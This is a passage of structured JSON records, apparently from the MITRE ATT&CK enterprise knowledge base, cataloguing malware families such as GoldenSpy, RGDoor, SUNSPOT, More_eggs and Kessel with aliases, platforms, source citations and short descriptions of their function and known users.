Requests)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["GoldenSpy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b9704a7d-feef-4af9-8898-5280f1686326","type":"malware","created":"2020-07-23T13:50:10.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0493","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0493"},{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-08-19T16:31:40.508Z","name":"GoldenSpy","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) is a backdoor malware which has been packaged with legitimate tax preparation software. [GoldenSpy](https://attack.mitre.org/software/S0493) was discovered targeting organizations in China, being delivered with the \"Intelligent Tax\" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.(Citation: Trustwave GoldenSpy June 2020) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Gold Dragon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0249","url":"https://attack.mitre.org/software/S0249"},{"source_name":"Gold Dragon","description":"(Citation: McAfee Gold Dragon)"},{"source_name":"McAfee Gold Dragon","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)","modified":"2022-04-11T21:45:35.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Gold Dragon","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RGDoor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0258","external_id":"S0258"},{"source_name":"RGDoor","description":"(Citation: Unit 42 RGDoor Jan 2018)"},{"url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","source_name":"Unit 42 RGDoor Jan 2018"}],"modified":"2021-09-10T18:59:39.228Z","name":"RGDoor","description":"[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Harry Kim, CODEMIZE"],"x_mitre_aliases":["Ramsay"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","type":"malware","created":"2020-05-27T16:58:08.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0458","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0458"},{"source_name":"Ramsay","description":"(Citation: Eset Ramsay May 2020)"},{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-04-14T22:10:12.150Z","name":"Ramsay","description":"[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["FakeM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--bb3c1098-d654-4620-bf40-694386d28921","type":"malware","created":"2017-05-31T21:32:52.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0076","external_id":"S0076"},{"url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/","description":"Falcone, R. and Miller-Osborn, J.. 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Retrieved July 29, 2020."},{"source_name":"KasperskyCarbanak","description":"Kaspersky Lab's Global Research & Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 27, 2017.","url":"https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/"},{"source_name":"RSA Carbanak November 2017","url":"https://www.rsa.com/content/dam/en/white-paper/the-carbanak-fin7-syndicate.pdf","description":"RSA. (2017, November 21). THE CARBANAK/FIN7 SYNDICATE A HISTORICAL OVERVIEW OF AN EVOLVING THREAT. Retrieved July 29, 2020."}],"modified":"2021-08-25T20:08:29.545Z","name":"Carberp","description":"[Carberp](https://attack.mitre.org/software/S0484) is a credential and information stealing malware that has been active since at least 2009. [Carberp](https://attack.mitre.org/software/S0484)'s source code was leaked online in 2013, and subsequently used as the foundation for the [Carbanak](https://attack.mitre.org/software/S0030) backdoor.(Citation: Trend Micro Carberp February 2014)(Citation: KasperskyCarbanak)(Citation: RSA Carbanak November 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HARDRAIN"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--bd0536d7-b081-43ae-a773-cfb057c5b988","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0246","external_id":"S0246"},{"source_name":"HARDRAIN","description":"(Citation: US-CERT HARDRAIN March 2018)"},{"source_name":"US-CERT HARDRAIN March 2018","description":"US-CERT. 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(Citation: US-CERT HARDRAIN March 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Pillowmint"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","type":"malware","created":"2020-07-27T14:06:29.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0517","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0517"},{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . 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(2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. 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(2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"},{"source_name":"Cofense RevengeRAT Feb 2019","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. 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(2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-04-26T12:11:19.301Z","name":"SUNSPOT","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021) ","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Drew Church, Splunk"],"x_mitre_aliases":["More_eggs","SKID","Terra Loader","SpicyOmelette"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0284","external_id":"S0284"},{"source_name":"More_eggs","description":"(Citation: Talos Cobalt Group July 2018)(Citation: ESET EvilNum July 2020)"},{"source_name":"SKID","description":"(Citation: Crowdstrike GTR2020 Mar 2020)"},{"source_name":"Terra Loader","description":"(Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019)"},{"source_name":"SpicyOmelette","description":"(Citation: Security Intelligence More Eggs Aug 2019)"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"},{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."},{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2021-04-23T19:15:17.339Z","name":"More_eggs","description":"[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)","x_mitre_version":"3.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SysUpdate","HyperSSL","Soldier","FOCUSFJORD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","created":"2021-11-29T18:37:40.308Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0663","url":"https://attack.mitre.org/software/S0663"},{"source_name":"HyperSSL","description":"(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"Soldier","description":"(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"FOCUSFJORD","description":"(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. 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Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T15:03:47.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"SysUpdate","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["TinyZBot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","type":"malware","created":"2017-05-31T21:32:12.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0004","external_id":"S0004"},{"source_name":"Cylance Cleaver","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"}],"modified":"2021-04-21T16:41:34.655Z","name":"TinyZBot","description":"[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). 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Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2020-03-18T22:06:42.386Z","name":"Kwampirs","description":"[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Nerex"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0210","external_id":"S0210"},{"source_name":"Nerex","description":"(Citation: Symantec Nerex May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Nerex May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99"}],"modified":"2021-01-06T19:32:28.182Z","name":"Nerex","description":"[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BoomBox"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","type":"malware","created":"2021-08-03T14:55:46.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0635","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0635"},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2022-01-18T18:10:37.673Z","name":"BoomBox","description":"[BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["PUNCHTRACK","PSVC"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0197","external_id":"S0197"},{"source_name":"PUNCHTRACK","description":"(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)"},{"source_name":"PSVC","description":"(Citation: FireEye Know Your Enemy FIN8 Aug 2016)"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"},{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2020-03-17T14:48:43.852Z","name":"PUNCHTRACK","description":"[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Proton"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0279","external_id":"S0279"},{"source_name":"Proton","description":"(Citation: objsee mac malware 2017)."},{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2021-01-22T16:19:40.969Z","name":"Proton","description":"[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access  (Citation: objsee mac malware 2017).","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Trojan.Mebromi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec","type":"malware","created":"2017-05-31T21:32:11.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0001","external_id":"S0001"},{"source_name":"Ge 2011","description":"Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.","url":"http://www.symantec.com/connect/blogs/bios-threat-showing-again"}],"modified":"2020-03-30T18:22:55.430Z","name":"Trojan.Mebromi","description":"[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["InnaputRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0259","external_id":"S0259"},{"source_name":"InnaputRAT","description":"(Citation: ASERT InnaputRAT April 2018)"},{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-20T02:21:24.856Z","name":"InnaputRAT","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim’s machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Kessel"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c984b414-b766-44c5-814a-2fe96c913c12","type":"malware","created":"2020-07-16T15:14:25.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0487","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0487"},{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-08-10T19:43:38.144Z","name":"Kessel","description":"[Kessel](https://attack.mitre.org/software/S0487) is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. [Kessel](https://attack.mitre.org/software/S0487) has been active since its C2 domain began resolving in August 2018.(Citation: ESET ForSSHe December 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["GrimAgent"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","type":"malware","created":"2021-07-16T18:19:25.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0632","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0632"},{"source_name":"Group IB GrimAgent July 2021","url":"https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}],"modified":"2021-10-15T16:15:20.371Z","name":"GrimAgent","description":"[GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["LookBack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","type":"malware","created":"2021-03-01T14:07:36.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0582","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0582"},{"source_name":"LookBack","description":"(Citation: Proofpoint LookBack Malware Aug 2019)"},{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."},{"source_name":"Dragos TALONITE","url":"https://www.dragos.com/threat/talonite/","description":"Dragos. (null). TALONITE. Retrieved February 25, 2021."},{"source_name":"Dragos Threat Report 2020","url":"https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770","description":"Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021."}],"modified":"2021-04-26T13:29:32.449Z","name":"LookBack","description":"[LookBack](https://attack.mitre.org/software/S0582) is a 